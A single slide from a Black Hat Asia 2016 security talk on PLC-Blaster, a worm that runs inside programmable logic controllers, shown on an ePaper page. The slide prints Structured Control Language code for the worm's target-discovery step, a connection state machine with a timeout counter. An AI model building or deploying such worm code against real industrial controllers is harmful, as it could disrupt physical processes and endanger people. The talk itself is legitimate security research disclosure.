PLC-BLASTER
asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC
asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
Target Discovery II<br />
IF "data".con_state = 10 THEN<br />
"TCON_DB"(REQ:="data".action,<br />
ID:=1,<br />
DONE=>"data".con_done,<br />
BUSY=>"data".con_busy,<br />
ERROR=>"data".con_error,<br />
STATUS=>"data".con_status,<br />
CONNECT:="data".con_param);<br />
IF "data".con_done = True THEN<br />
"data".con_state := 20;<br />
"data".con_timeout_counter := 0;<br />
ELSE<br />
"data".con_timeout_counter := "data".con_timeout_counter + 1;<br />
IF "data".con_timeout_counter > 200 THEN<br />
"data".con_state := 0;<br />
END_IF;<br />
END_IF;<br />
GOTO CYCLE_END;<br />
END_IF;<br />
Black Hat Asia 2016: <strong>PLC</strong>-Blaster 9